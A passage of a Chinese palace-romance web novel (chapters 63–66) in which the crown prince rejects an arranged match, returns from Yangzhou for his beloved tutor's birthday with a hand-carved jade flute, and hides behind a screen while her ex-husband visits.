“棠棠自小就是大家教出来的,教以云应当是没什么……” “母后。”尚珏的声线像藏了金线的棉花,撕开扎手,看着也丝毫不会觉得绵软。 他漆黑的眼沉沉看着皇后,常带的笑意无影无踪,“沈小姐做教习娘子,是父皇钦定的,也是以云喜欢她,阚家树大,这点小事也要瞧了上去?” 尚珏话说的不留情面,隐隐还在暗指着阚家贪污一事,连素来待他宽容的平德帝都不免皱了皱眉,沉声暗告道:“太子。”他警告着说,又道,“你母后也是关心你,操心你的婚事。” 皇后被尚珏一字字说得脸色发青,却不得不接下平德帝给的台阶,“是,是本宫急了。” 她袖袍里的手指紧紧攥住那寸布料,紧咬着后牙。 平德帝这话看着是在维护她,实际上分明是为了他的太子、他的储君,在警告她不准追究。 皇后深深吸了一口气,挤出一面温和的笑:“本宫只想着让你和棠棠多接触了。” “母后。”尚珏温声打断,不疾不徐地说,“孤已有心上人,是日日想上门提亲的喜欢。” “所以母后还是顾着身子,不劳您费心了。”他声音越说越冷,几乎冻出冰碴。 第63章 第63章“孤喜欢一个人,还要藏…… 时近午时。 沈玉姝望了一眼天色,将手上书页合上,“好了,今天就先到这里吧,我先回去了。” 听她的话,困顿的以云顿时睁大眼,拉住沈玉姝的衣角,拖拉着声音问:“娘子去哪里,娘子不是在宫里陪以云吗?” 沈玉姝啼笑皆非:“下学了,殿下还要继续上课?” 以云拉着的手立刻就放开背到身后去,她头摇得像拨浪鼓,摇了一会大概又觉得这样有点太不客气了,于是一只手欲伸不伸地迟疑说:“那娘子明日还要来哦。” “好呀。”沈玉姝弯着眼,露出一对小小的梨涡。 她脸上原本的脸颊肉最近消瘦不少,下巴尖尖瘦瘦,有些苍白,稚气被削弱了不少,多了点柔软的清纯。 沈玉姝站起身,正要告辞,就见一个身着华丽宫装的妇人匆匆走进来。 她样貌清丽,一双眼睛和以云如出一辙,脸上还带着点大病初愈的病气。 沈玉姝稍怔了下,旋即也大敢寻常,规矩行了礼道:“慧嫔娘娘。” 慧嫔忙扶起她,看了眼乖乖坐在以云,松了口气。 她亲亲热热地拉起沈玉姝的手,道:“真是多亏了你呀,以云这孩子被惯坏了,谁管都没用,幸好她听你的话。” 沈玉姝不知所措地张了张嘴,好一会才有些结舌地说:“没有的,公主是听陛下和殿下的话。” 她说的徒劳,眼里也是对慧嫔过分热情的仓皇。 慧嫔噗嗤一笑。 她年纪尚小时就入了宫,没有知心些的姊妹,不免有些孤单,如今进了沈玉姝,她顿感亲切,如何不肯沈玉姝走。 沈玉姝有些无措,愣怔看着慧嫔道:“……臣女还得回芳菲殿。” “没事的,留下一块用膳吧,本宫已经叫人备好午膳了。”慧嫔笑着说完,又指挥着宫女将以云带下去,“带她去用膳吧,吃完后睡一会再出去玩。” 慧嫔安排完,见宫女把以云带出去后,才热切地拉过沈玉姝的手,“进来吧?厨子很快就来了。” 沈玉姝被噎了一下,她也不知道该怎么拒绝慧嫔的好意,何况还是一个看起来过分伶仃的人。 她迟疑着说:“……好吧,不过臣女先去与……” 沈玉姝话说到一半,忽然想起尚珏并未派宫女跟着她,话头瞬间止住了。 算了,用完膳早些过去吧。 沈玉姝这么想着,指尖极轻极慢地回握住慧嫔的手,“没什么,那……多谢娘娘好意了。” 慧嫔神色顿喜,拉着沈玉姝往后间走,里面布菜宫女正好摆好最后一双象牙箸,欠着身打帘退出去,将屋子交予她们两人。 “来坐来坐。”慧嫔拉着沈玉姝坐下,“不知道你爱吃什么,什么菜系都做了一点。” 确如她所说,桌上摆了二十道菜有余,桌面险些摆不下。 沈玉姝懵懵地执起象牙箸,“……太多,娘娘。” 慧嫔笑得花枝乱颤:“哪里多了呀,你就吃你想吃的就好了,剩下的宫人会分掉的。” 沈玉姝抿了抿唇,没说话。 大抵是看出了她的局促,慧嫔给她舀了一碗鸡汤,还特地撇去了表面浮油,开了话匣。 慧嫔托腮道:“陛下几个子女里,以云是最淘的,前段时间为了出去找太子殿下,从南御花园缺了一角的矮墙上翻出去,皇宫里都找翻了天,给本宫急坏了。” “和臣女弟弟一样淘。”沈玉姝想了想,说,“爱粘着。” “那倒是。”慧嫔索然地转了一下勺子,“等太子殿 下成婚了,应该会好一些吧。” 沈玉姝喝汤的动作倏然一顿,她耳边嗡鸣一下,有一瞬没处理出这个问题的答案。 她怔怔的说:“成婚?” “嗯,皇后娘娘想将自己侄女嫁给太子。”慧嫔撇撇嘴。 “真是什么好事都想沾,自己家贪污出事,就想攀上太子殿下保荣华富贵,天底下哪有既要又要的事。”慧嫔稳稳翻个白眼,丝毫没注意到对面愣怔的沈玉姝,自顾自地说,“本宫就只想以云好好的寻个如意郎君,安安稳稳就好了,哪要求那么多呢。” 慧嫔说到这才意识到自己的大不敬,忙噤了声,小声地往前凑了凑:“沈娘子,你就当没听见?” 见沈玉姝半天不答话,她才有些不安地又道:“沈娘子?” 沈玉姝回神:“嗯?” “本宫刚犯了傻,你就当没听见。”慧嫔笑道。 “臣女知道的。”沈玉姝敛下眼,后面的所有话都听不大清。 直到一顿饭用完,沈玉姝这才告别了慧嫔,往芳菲殿走去。 在用膳时,她分明心慌极急,但真到了往芳菲殿走的时候,她反倒走得慢了,心跳沉闷的稳,耳边都能听见闷沉的声音。 不知走了多久,沈玉姝抬眼看见站在芳菲殿门前的陈肆。 陈肆一见她,忙迎上来:“沈小姐您来了,殿下在里头等您。” 沈玉姝步子顿了下,停在院门外一两步处,“你们刚刚……” “什么?”陈肆没听清。 话到嘴边,沈玉姝反倒问不出口了,她摇摇头,自觉有些矫情,“算了。” 就在二人这一点小插曲间,芳菲殿门忽的从里面被拉开。 一道颀长清绝的人影安静倚在门框上,尚珏一边眉微微挑起,语调微扬:“夫人怎么还不进来?菜都该凉了。” 沈玉姝平静对上尚珏的眼睛,嗯了声,踏着青石板路走进殿。 尚珏稍侧过身,给她让开一个进去的通道,然后反手关上门,嘴上边说着:“身子好些了吗,我喊厨子做了一碗鸡汤,试试喝点?” “喝过了。”沈玉姝应着,在桌边坐下。 尚珏没由来心里微动。 他笑了笑,在沈玉姝身边落座,“慧嫔请你用过膳了?难怪来得这么慢。” 沈玉姝没搭话,“不是让我陪你用膳吗,你吃吧,吃完了就回东宫。” 尚珏手上动作稍顿了下,一双眼直直看向沈玉姝微紧的笑肌。 他对沈玉姝的情绪向来敏锐,更遑论沈玉姝根本未曾遮掩她的冷淡,和他离开前软糯的模样大相径庭,倒是和大年初一与自己分手那日如出一辙。 尚珏搁下筷子,温润的嗓音透着某种平直的寒凉:“你听说什么了?” 他尾音微扬,分明是问句,但却透着一种不容置喙的肯定。 说着,不待沈玉姝回答,他道:“夫人可以直接问我,何故听外面那些没由来的话。” “为什么每次都要自己想呢,我一直在等你问我。”尚珏说,“我没有答应阚家的婚姻,也没有要成婚。” 沈玉姝呼吸一窒,藏在心底极深处的一星半点被尚珏毫无遮掩地戳中。 尚珏平静地看着沈玉姝慌乱的鹿眼,道:“我说我有喜欢的人,太子妃只会是那个人。” “所以夫人,你为什么总是对我不信任呢?”尚珏说着,上身微微倾下,有些压迫地让沈玉姝直视他的眼睛。 这个姿势,沈玉姝鼻尖几乎要碰到他的下巴。 她睫羽闪的飞快,尾端扫过尚珏的鼻尖,“你……你直接说了?” 尚珏被她的关注点忽的逗笑,那点压抑的沉闷陡然散开:“对啊,孤喜欢一个人,还要藏着掖着?” 他话说的直白,几乎是轻挑,分明是什么都做过的关系,如今沈玉姝却臊得面红耳赤,闪躲着避开尚珏的桎梏。 她拖着凳子往后挪了几步,声音闷闷,“……说话就说话,别那么近。” 尚珏眉头挑起,好说话地后退一步,“行。” 他撤身站起,舀了一个碗底的鸡汤送到沈玉姝面前,“陪孤再喝点。” “……嗯。” 沈玉姝白玉似的耳朵红成一片,乖顺地接过汤碗。 她先不相信尚珏污蔑了他,算她弱势,一碗汤而已,何况也只是一个浅底,尊了尚珏便是。 就在沈玉姝脸上温度好不容易降下来一点时,就听旁边悠悠传来一道声音,“所以夫人,以后再遇到问题,问不问我了?” 沈玉姝耳朵的血色再翻卷上来,瓮声瓮气地说:“……嗯。” “嗯?” “……问。”沈玉姝声音脆生生的,软得几乎融进汤里。 第64章 第64章“生辰快乐,孤的夫人。…… 这顿饭吃的时间不算长,沈玉姝却觉得坐立难安,但她面上显得淡定,只拎着勺子在已经空了的碗里搅来搅去。 尚珏视线微移,将沈玉姝细微的小动作看得分明。 他莞尔笑了声,搁下竹箸道:“夫人还有几日生辰了吧。” 二月十八。 沈玉姝不明所以地抬头:“你怎么知道?” 她声音俏生生,里面是不掩的疑惑。 尚珏笑得有些坦荡,没接这个话。 沈玉姝噎了一下。 她总觉得……如果当真是说了,可能也不是什么她爱听的话。 “算了你别说了。”沈玉姝有点恼,站起身离开桌边,走到榻上半倚着,“吃完就走吧。” 她说着话,一手搭在小腹上,侧身蜷起,没肯睁眼瞧尚珏。 大抵是该说的都说了,人也看了,听她赶人,尚珏倒没有不舒服的意思,只轻轻嗯了声,“我之后几天有些忙,派了雪青来照顾你,有什么问题就找她,她知道怎么找我。” “到时候我陪你过生辰。” 沈玉姝从鼻腔里挤出一点声音答应,听见身后传来一点清脆的碗筷碰撞声,知晓是尚珏收拾了桌子,直到殿门开关声响起,她才后知后觉地发现,她的肩颈一直是紧绷的。 沈玉姝渐松了颈,扯了一床绒被囫囵睡了午觉。 ***** 这之后六天尚珏都没再来,只有雪青安静侍奉在沈玉姝身侧,她也乐得自在,每日在极华殿和芳菲殿之间走,几乎忘了尚珏临走前和自己说的事。 二月十八那天,沈玉姝醒得早,手边是雪青一早备好的热水青盐,现在温度凉的正好,温热不烫手。 她慢条斯理地盥洗,找出一件水蓝色的琵琶褂走到屏风后更衣。 沈玉姝解开寝衣盘扣,露出底下皙白腻滑的皮肤,她顺势低头,看着自己最近越发丰腴的身子有些疑惑。 按理来说,她这个年岁,不该再长了才是。 而且…… 沈玉姝拧着眉戳了戳肚子。 最近好像是胖了? 沈玉姝奇怪的歪歪头,一面套上褂子,一面决定今日不吃早膳,减肥。 “娘子,早膳好了!”正想着,雪青清脆的声音从外间响起。 闻言,沈玉姝扣盘扣的动作顿了一下,然后含糊地答:“不吃了。” 外间忙碌的动静忽的止住,然后内殿平开门拉动声音咔哒拉了一下,此时沈玉姝正巧走出屏风,对上雪青从平开门那探进来的头。 沈玉姝噎住。 雪青问:“娘子怎么不吃?心情不好?” “没有。”沈玉姝闪躲着视线,悄悄目移,“不饿,起晚了,先去极华殿吧。” 她说着,也不管有没有哄骗到雪青,身子一错,便从一侧挤出去,跑出了芳菲殿,身后还有雪青喊她的声音。 或许是跑的急,到极华殿的时间比平时要快不少,她轻吸着气,抬手推开了门。 “生辰快乐!”以云俏生生的声音响起,从某个角落忽的窜出来,扑通跳到面前。 沈玉姝吓了一跳,小步往后退了半步。 “……啊?”沈玉姝怔着,冒出一个短促的疑问,然后回过神,忽然意识到今日是二月十八。 以云说:“娘子笨蛋 ,今日是你生辰呀,你忘记啦?” “……” 沈玉姝的确忘了,往年都是与家中庆生,哪里专门记过日子。 也就尚珏闲来无事记她的生辰。 沈玉姝挠挠鼻尖,“原来是我生辰,多谢以云啦。” 她又想起来,以云是怎么知道是她生辰的?她这么想着也就这么问了。 以云说:“二皇兄告诉我的,二皇兄让以云陪娘子过生辰。” 沈玉姝怔了怔,她分明记得尚珏说要陪她过生辰的,怎么自己反倒没见人? 以云看出了她的疑惑,道:“父皇前些天让二皇兄下了趟扬州,去干嘛我也不知道,反正二皇兄让我今天好好陪娘子啦。” 她说着拉起沈玉姝的手往内殿走:“二皇兄给以云了好多银子,我买了好多礼物,娘子不要想二皇兄啦。” 沈玉姝被小孩子直白的“想”说的面红耳赤,忍不住出声反驳:“……不是想,以云不准乱说话。” 以云松开沈玉姝的手,跑到立柜前翻找东西,听见她的话转头吐了吐舌头,“二皇兄也是这么说的。” 沈玉姝耳朵一动:“……说什么?” “说不是想,不让我在娘子面前说。”以云找到一个礼盒,又翻出一方紫檀木盒,说,“你们大人真是虚伪,明明就是想,我不说就不是了吗?” “……”沈玉姝耳根被说的绯红,又在瞥见那方紫檀木盒时更臊了,她气的磨牙,“你明日课业再加一份。” 以云大惊:“不要呀!” 最终两份礼物被摆在一边的桌上,沈玉姝说什么都要先把今天的课上了。 以云不满:“哪有生辰还要上课的。” “我的生辰,不是你的。” 以云说:“我替二皇兄给娘子过生辰嘛。” 沈玉姝不由分说地把笔塞进以云的手心里:“让他自己回来和我说,你不作数。” 以云嘟囔:“娘子心偏二皇兄。” 沈玉姝没说话,硬盯着以云完成了今日的课业。 直到巳正,她才放了以云下学。 小孩子的玩心重,好不容易挨到下学,哪里还记得有的没的,道了声辛苦娘子,就撒丫子不知跑到哪里玩去了。 徒留沈玉姝在极华殿。 沈玉姝无奈,又坐了一会,才起身抱起两份礼物离开极华殿。 二月十八的天已经有些回暖了,但琵琶褂还是难免有些薄,走在回芳菲殿的路上,途径三周开阔的花园,凉风一裹,沈玉姝不禁缩了缩身子。 她加快了点脚步,再过一个转角就是芳菲殿。 还没走出两步,她的脚步倏然一顿。 指尖游廊转角,被屋檐遮住显得有些昏暗的檐下,站了一个身材颀长,风尘仆仆的男子。 男子穿着云水蓝长袍,披件鸦黑大氅,衬得柔和五官显出几分硬朗冷峻的线条。 他似乎极疲倦,修长的食指中指一并摁上眉心。 忽的,他似乎如有所感,向花园处投来一个视线,顷刻的,脸上的疲倦感便消融三五分。 尚珏弯出一个极淡的笑:“夫人怎么不过来?” 沈玉姝站在原地,怀里抱着两份礼物。 那份紫檀木盒像是某种玄冰,她捂了好一会也没捂出温度。 她恍然听见以云和她说“二皇兄被父皇派去扬州了,不知道什么时候回来”。 左右不过六七日,这个时间够扬州和京城的来回吗? 沈玉姝喉间干涩得说不出话,好一会才找回声音:“你怎么回来了?” 尚珏身子往左边一靠,像是累极找个倚的似的,唇角含笑:“不是说要给夫人过生辰?” “可是……你不是去扬州了?” 这话好像给一场隐藏的战争吹上助燃,局势顷刻变换。 尚珏却仿佛浑然不觉:“答应了夫人,自然怎么都要赶回来,更何况,这是我和夫人过的第一个生辰。” 他视线落在沈玉姝手中的檀木盒,轻笑一下:“让以云给你带了备选礼物,想着如果回不来,就先用那个哄哄你。” 沈玉姝稍怔一下,然后扬起手中紫檀木,眉头微拧:“你用别的骗我?” “怎么叫骗?”尚珏被沈玉姝异常的关注点逗笑,回身走到沈玉姝面前,一手将两份礼物接过,一手将她的左手包进宽大的掌心里,“最想送的礼物,当然是我亲自送。” 沈玉姝被他大胆的动作惊得一退,漆黑的瞳孔微微放大,像一只受惊的鹿,手也止不住的缩,却被尚珏稳稳抓住,“在外面!”她低呼。 尚珏拉着她往芳菲殿走,轻笑:“陈肆清场了。” 沈玉姝被这话噎回去,手再用力一抽,没抽动,面上抿了抿唇,也就随他去了。 好一会,直到走到殿门外,沈玉姝才像是知道怎么反驳似的说:“下次……清场也不行,你别老欺负陈肆。” 尚珏眉头轻挑,没说好也没说不好,抬手推开了门。 他拉着沈玉姝往里走,一边说:“雪青说你今天早晨没用膳?” 沈玉姝:“……” 尚珏关上门,转过身看她:“嗯?” 沈玉姝被说得面皮发红,偏过头躲开尚珏紧盯的视线。 真是的……哪有这么大人,还日日被追着问吃没吃饭,为什么不吃饭的。 怀氏都已经不管沈经汇吃不吃饭了。 沈玉姝这么想着,没忍住说:“你怎么老是一见面就问我为什么不吃饭。” 大抵是没想到她这个回答,尚珏稍怔一下,旋即失笑,“小没良心的。” 他说着,发泄似的伸手在后者耳垂上用力一搓,道:“行,等会陪我用午膳。” 话音一落,尚珏便收手从一旁矮桌上拿来一支长条形木盒。 木纹颜色偏棕,不同方向还能看见若隐若现的金纹,不是他常用的紫檀木。 尚珏将木盒递过去:“生辰礼物。” “这才是真的礼物。”他弯着一双雾霭的瞳,含着一种,类似期待的喜欢情绪。 沈玉姝不解的接过木盒,一面打开,嘴上说着:“是什么……” 她话说到一半,只见一支通体莹白的长柱形萧体,尾椎坠着一根葱绿色的挂坠,尾端还跟着一颗白玉小花。 与她之前退回去的那支白**箫一模一样。 “这我不能要。”沈玉姝拧着眉,“我不能要德妃娘娘的爱物,这交由你来最合适。” 尚珏笑着,不紧不慢的将沈玉姝递出的盒子推回去,“知道夫人不会要,所以夫人再仔细看看呢?” “嗯?” 沈玉姝不明所以,顺着他的目光往盒子里看去。 最初不觉端倪,再细瞧才发觉,上面原该是龙凤纹的雕花,转成了梅花样子,萧的底色也非是白**箫的莹白,而是透着一线青。 沈玉姝怔着抬头,对上了尚珏专注含笑的目光。 尚珏嗓音含着一种不明显的诱哄:“这才是我给夫人的礼物。” “生辰快乐,孤的夫人。” 第65章 第65章“一起睡?” 沈玉姝握着手中木盒,好像骤然滚烫起来似的,掌心灼得燎人。 她一时不知该说什么,好一会才说:“这是扬州买的?” 尚珏道:“料子是扬州挑的,西域的商人到了扬州,正巧有块好料。” 他说着随手解开系带,扔到一旁榻上,赶了七日路的疲倦这才涌上来,轻轻吐出一口气。 沈玉姝追问,“萧是你雕的?” 闻言,正在摆弄桌上午膳的尚珏顿了一下,旋即像是有些无奈似的,声音带着疲劳的沙哑:“夫人怎么总喜欢问到底呢,我要是应下,岂非显得我挟恩邀宠了。” 他说完,就像是不准沈玉姝在这个问题上多纠结似的,招着手让她过来,“先用膳吧。” 沈玉姝手上拿着那方木盒,纠结说不清的情绪,索性也不再想了,应了声,放下木盒在桌边坐下。 桌上的午膳都是东宫厨子做的,御膳房的厨子自然比不上太子的小灶,菜品色香味俱全,连带多日没什么胃口的沈玉姝都食指大动。 而且没什么大荤,即便是荤,也是剁碎了炖炒在素菜里,既不会让沈玉姝闻到荤腥恶心,也增了荤菜的味。 沈玉姝看着尚珏将碗筷摆好,正好拿起碗,就见面前人丝毫没有坐下的意思,反而直起身要往后走。 她不明所以地问:“你不吃?” “你先吃,我去换身衣服。”尚珏声音满是藏不住的哑意,半眯着眼用力捏着鼻骨,皮肤上被捏出一道红来。 沈玉姝听着他的话,往西屏风那瞧了一眼,汨汨冒着热气。 但说来也正常,尚珏奔波了七日,恐怕是一到京城就马不停蹄来找了她,现下事情了了七八,按他的性子定是要先沐浴的。 沈玉姝想着,面上有些纠结,搁下筷子,语气迟疑,“那你去吧。” 尚珏挑眉,有些无奈地坐回桌边拿起筷子:“算了,先陪 你用膳吧,早膳也没吃,别饿着了。” 沈玉姝搞不懂,为什么尚珏总是过分关注她饿不饿这个事。 男子不都是喜欢女子体态轻盈一些的吗? 沈玉姝秀气的眉头轻轻拧着,她确实饿了,也难得遇上一顿合胃口的菜,一时也就安静地吃起来。 一顿饭两人没再多说,只安安静静地吃着饭,最后吃完的时候,尚珏带来的饭菜几乎没剩什么。 尚珏唤人进来收拾了桌子,待人出去后便与沈玉姝道:“我去沐浴。” 他说完这话,便快步走去了屏风后,不多时,被搅动开的热气轻而易举地漫到沈玉姝的手边,让她有些坐立难安。 老实说,今天发生的所有事,都在她的意料之外,无论是尚珏让以云给她过生辰,还是……尚珏特地从扬州马不停蹄赶回来,给她过一个脸她自己都不在意的生辰的事。 沈玉姝坐在榻边,后腰靠在尚珏扔上去的披风上。 她最开始未曾觉察,直到坐一会,感到硌腰时才发现是尚珏的衣服。 沈玉姝心绪乱的很,手上随意地把凌乱的披风拿起,抖落开叠整齐放到一边。 她盯着那件鸦黑的披风,和东家惯穿的云水蓝不同,但无端的,先前一直在她心中割裂的东家和太子两个人,好像终于重叠,露出尚珏的影子。 沈玉姝坐了会,起身把青玉长萧拿过来。 直到这时,她才清楚的看见自己生辰礼物的全貌—— 浅青玉底的胚子一丝棉都没生,通透的吓人,上面雕的梅花浮雕手艺稍糙,却反而给这份精美的礼添上一丝人味。 一看就是尚珏亲手的手笔。 青玉的颜色在窗下的光线里莹润得像汪了一湖水。 沈玉姝都不知道,尚珏是怎么做到在这么短短的时间里,往来了扬州,还选了胚子雕出这把长萧。 她忽然想起,德妃娘娘的那柄白玉长萧,也是平德帝亲手雕的。 沈玉姝握着升温的玉石,有片刻的恍惚。 顷刻,后方传来一阵极轻的脚步声,裹挟着热气向沈玉姝的位置过来。 沈玉姝抬起眼,对上了尚珏那双掩不住疲惫的眼睛。 他眼珠黑沉,热气一熏,浓浓的倦气便冲了上来。 沈玉姝抿了抿唇,手上攥着青玉的动作不禁又紧了紧,“你……要不去我床上睡一会。” 话刚一出口,沈玉姝就后悔了。 得多蠢的念头,她才会想让太子在皇宫里睡在她的房间。 沈玉姝咬着唇,正要反悔,就听尚珏欣然应下,“好啊,不过……” 沈玉姝歪着脑袋偏看了他一眼。 还有不过? 尚珏轻笑了声,一手轻揽沈玉姝的腰,往上一带,轻而易举地将人抱起来揽在怀里,从坐姿变站立。 “夫人陪我睡,嗯?” 他灼热的呼吸洒在沈玉姝耳尖,后者几乎是下意识地一缩,恼怒道:“你想都别想,不睡就走。” 闻言,尚珏似乎是有些遗憾的松了手,后撤一步。 正当沈玉姝以为这件事就这么结束的时候,一个极轻温热的触碰落在她耳尖,顷刻烧出一片热度。 尚珏偷了个吻,那股倦怠都散了小半,他语气里不乏失望,却含着笑:“行吧,那夫人午安。” 他说完便再不给沈玉姝反应的时间,转而上了床躺下。 被子下的起伏不过片刻就趋于平静。 沈玉姝站了一会,越发觉得自己是鬼迷心窍,居然会让尚珏在芳菲殿留宿。 她气恼地磨了磨后槽牙,正准备上去和尚珏盘算,只听见床榻上传来一道很轻的均匀呼吸声。 沈玉姝微怔。 睡着了? 她忽然对尚珏的疲倦有了实感。 但说来也是,七日不眠不休地连轴转,即便是个铁人也该垮了。 何况扬州案外来压力不小,晚些只怕又得忙起来。 沈玉姝站了一会,叹了口气,捂着还灼热的耳朵,决定暂时不和他计较了。 她换了一双柔软的鞋,趿拉走到榻边坐下,拿起手边摆着的一本装订稍显粗糙的书翻阅起来。 赫然是尚珏之前给她写的那一本萧谱,被她从不言寺带回沈府,又从沈府带进了宫,其他行李筛筛减减,这本书倒是一直带着。 沈玉姝坐在小榻上翻着,有一小段她总是看不懂,简短的变奏怎么都试不出合理的指法。 她拿起那支青玉长萧,指尖摁在上面一点一点地摆弄,却怎么尝试都没有尚珏演示时的轻盈。 沈玉姝微微皱着秀气的眉,一时不知道是谱子的问题还是萧的问题,还不待她研究明白,困顿的感觉慢慢上涌,好像房间里被传了尚珏的疲惫,外面阴暗的光又过于好睡,她捧着书,脑袋一点点,不知道什么时候就睡了过去。 她梦见绿萼又开了。 最后,她是被一阵敲门声闹醒的,不算急促,但也称不上礼貌。 沈玉姝梦里浮光还没散,眼前胡乱花哨,隐约看见窗外的光已经暗了,不知是个什么时辰。 她下意识看了眼床上,尚珏还在睡,没醒。 此时,外面的敲门声似乎是没收到回复,敲得更急促了些。 沈玉姝刚睡醒,反应有些迟缓,脖颈处是一下午趴着睡带来的酸疼。 她担心将尚珏吵醒,手忙脚乱穿上鞋,随便拉过披风下榻去前间,嘴里嘟囔着:“来了。” 外面的敲门声安分了。 沈玉姝走到门前,倦怠地一把拉开门,“谁呀?” 她说着边抬眼,撞见了尚琢那双微挑的凤眼。 沈玉姝喉头一哽。 尚琢垂下眼,发尾带着潮湿,“你来宫里,为什么不与我说。” 说完,他又觉不合适似的敛眼抿了抿唇,道:“不请我进去坐坐吗。” 第66章 第66章“你就这么喜欢你那个姘…… 沈玉姝错愕的表情显而易见,落在尚琢眼里,只是因为自己突然造访的意外。 实则沈玉姝下意识地往内殿方向一偏。 若说她最怕她与尚珏的关系被谁知道,尚琢绝对算一个。 偏眼这个动作是她下意识的反应,只是人寻个心安的本能,却看见了全然意料之外的场面—— 尚珏不知何时行了,一身月白中衣,显得他肩宽腰窄,正斜斜靠在门框上。 漆黑的眼瞳里带着半笑不笑的意味。 沈玉姝呼吸一滞,反手将殿门关上,浑然不顾外面说话到一半的尚琢。 尚琢被门风掀起一缕头发,下意识就想怒,手指一攥被他压了下去。 他想起沈玉姝有些乱的衣服,只猜测她是刚醒,便道:“你先更衣吧,本王在外面等你。” 话音穿过薄薄的门板传进殿内两人的耳边,谁都没有先说话。 沈玉姝攥在门闩上的指节用力的发红,耳根发臊,也没忘了挪远几步离开门口,才咬着牙说:“……你怎么醒了?” 尚珏高高挑起一边眉,好像在说她问话的奇怪:“他来得,孤来不得?” 沈玉姝被他的逻辑绕的晕乎,反驳:“我都让你你在这睡了,怎么又说你来不得了?” 她倒豆子似的说了干净,话落才反应过来自己说了什么,就像是……这芳菲殿对尚珏开放了似的。 沈玉姝身后的气势陡然一灭,偏过眼小声说:“……反正整个皇宫都是你的,随你 高兴不就是了。” “夫人前半句话我还挺爱听。”尚珏似笑非笑道,“后半句话不爱。” 沈玉姝:“……谁管你爱不爱听。” 她说着又闪躲开视线,好一会才想起正事,忙看他,“你赶紧躲回内殿床上去!” 尚珏眉头挑的更高了,追着她闪躲的视线,几乎是讽笑:“为什么?” “尚琢来了啊……你……” “那怎么了,孤见不得人?” “不是……” “那孤为什么要躲?” 沈玉姝被他逼问的头晕,一咬牙走上前,攀着他的肩膀将他的头压下来,在唇角落下一个浅淡的吻,她的声音细弱蚊蝇,脸颊通红,“……求求你了。” 这吻浅淡,但落在尚珏微凉的唇上,像一颗火星燎了半片草原。 他的瞳色顷刻间就暗了。 尚珏垂眸紧盯着沈玉姝,好似盯上猎物的鬣狗,好半晌才不紧不慢地说,“行啊,既然夫人都这么撒娇了,那孤退一步。” 他视线环视一圈,落在正殿北侧的屏风上,勾起一抹笑,“孤要躲在那。” 沈玉姝顺着他的视线看过去,瞳孔骤然一缩。 那屏风正落在主位圈椅的后方,若是等会尚琢进来,她必然是坐在这个圈椅上,离尚珏仅有一臂距离,尚琢坐在她的右手侧。 就好像……就好像是她靠在尚珏身上,和尚琢说话一样。 即便尚琢不知道,也难免羞耻。 她收回眼,想试图再和尚珏争取一下,却只看见尚珏淡下的神色。 沈玉姝知道这是没得商量的意思了,她丝毫不怀疑尚珏做得出现在亲自去开门的事。 她一咬牙:“好,那你不准出声。” 尚珏沉淡的眸子顷刻弯起来,“好啊。” …… 沈玉姝稍整了衣服才走去门口将殿门拉开。 尚琢还保持着先前的动作,手掌攥着,直到看见门打开,才松了三分。 尚琢眼神微动,“本王可以进去吗。” 沈玉姝还保持着拉开门的姿势,这就导致如果她不让开,尚琢就丝毫进不去门。 她沉默了好一会,才侧身让开一个不大不小的位置,如果尚琢要进来,就势必要侧着身。 她稍抬起眼,“王爷有让臣女选的机会吗?” 尚琢正进殿的动作,闻言微顿,旋即像没听见一般,稍侧身走进了殿,在下首位圈椅坐下。 沈玉姝下意识在离尚琢半丈远的屏风上看了一眼,细线绣出的屏风上隐约透出一个绰约的人影,不细看倒是看不出来。 她耳尖红了红,走到屏风前的上首圈椅坐下。 “本王、我刚才听见里面有说话声,你在和宫女说话?”尚琢率先开了口,“芳菲殿连个伺候的人也没有,我让苏进遣点利索的人来。” “不用了。”沈玉姝利而打断。 她神色有些古怪的想,你若是真和雪青碰上,怕是会吓一跳。 但她显然不能这么说,她神色如常道,“殿中有人伺候,就不劳殿下操心。” “而且。”沈玉姝微蹙了眉,“臣女和王爷,不是熟悉到能忽略自称的关系。” 身后的屏风内传出一声轻笑。 这笑极轻,风一吹就散,自然也没落到尚琢的耳朵里,但在沈玉姝耳里确实如雷贯耳。 她耳朵微动,往后靠了靠以示警告。 下面的尚琢的确没听见,他听见沈玉姝的话时候,那自在的神情便倏然一凝。 他眉头一皱,“我们并非你想的那么生疏。” “那熟在哪?”沈玉姝反问,“恭王殿下,您的施恩不是谁都想受的。” 尚琢被她毫不留情的话逼得一噎,随即脸上就浮现出怒意:“那你想受谁的恩,你那个姘头的?呵,你那姘头倒是有本事,本王查了他这么久也没查出一点消息,本王好心提醒你,这种人最爱玩了,不过是看你进过本王的府,觉得新奇图乐子,不然你以为他会和你搅和在一起?!” 如果尚琢冷静的话,这话他是一定说不出口的。 一是没有风度,二是,他本无意伤害沈玉姝。 所以话一出口,他灼热滚烫的心口就想浇了一盆冷水一样冷静下了,紧接着就是排山倒海般的后悔。 两人静默了好一会,尚琢舔舔干巴的唇,“我不是那个意思,我是担心——” “担心什么?”沈玉姝挑眉,像是丝毫没有被他的话伤到,“恭王殿下,上次臣女就与您说了,查不出人,您难道不应该反省自己实力不济?堂堂恭王,连个人的身份都查不出来?” “况且左右不过是臣女的私事,与恭王殿下何干,是好是坏都是臣女一人担着,这是殿下您僭越了。”沈玉姝吊着眉,“殿下,我们已经和离了,您别忘了。” 殿内气氛一阵静默,连尚琢都没想到事情会演变成这样。 他一向自诩自持,却每每在沈玉姝身上破戒。 尚琢抿了抿唇:“不说这个了,我今日是来祝你生辰快乐的。”他说着从手中拿出一个木盒。 木盒莫约巴掌大,一眼便知是个首饰盒。 他将木盒打开,里面安静躺着一块青底玉石发簪,缠着细细的金线,步摇随着动作轻晃。 客观来说,这发簪是极好看的,但先前见了尚珏亲雕的青玉长萧,再看这些总看不上眼。 沈玉姝的视线一触即分,淡道:“多谢王爷好意,但臣女说过了,王爷不必送臣女礼物。” “不值钱,是……我亲手雕的。”尚琢从未示弱过,锋锐冷淡的五官此刻都显得有些别扭,“苏进说你会喜欢。” 沈玉姝这回是实打实愣了一下,心头不可抑制地冒出一个想法—— 不愧是亲兄弟,连礼物都送一块去了。 但这话被尚珏听见,她肯定又要倒霉,沈玉姝不免头疼。 沈玉姝收回思绪,理清情绪平淡地看着尚琢的眼睛:“殿下,你是不是觉得我一直很心软,前前后后也不曾对你说过什么重话。” 尚琢握着木盒的动作一顿,他的确是这么认为的,所以在苏进说手工做礼物时,顷刻便答应了。 他知道沈玉姝心软,不舍得明面拒绝他这份礼物。 沈玉姝闭了闭眼,复而睁开,“殿下,我说和离,就是真的和离,我从不收萍水相逢之人的人情。” 又是一阵沉默。 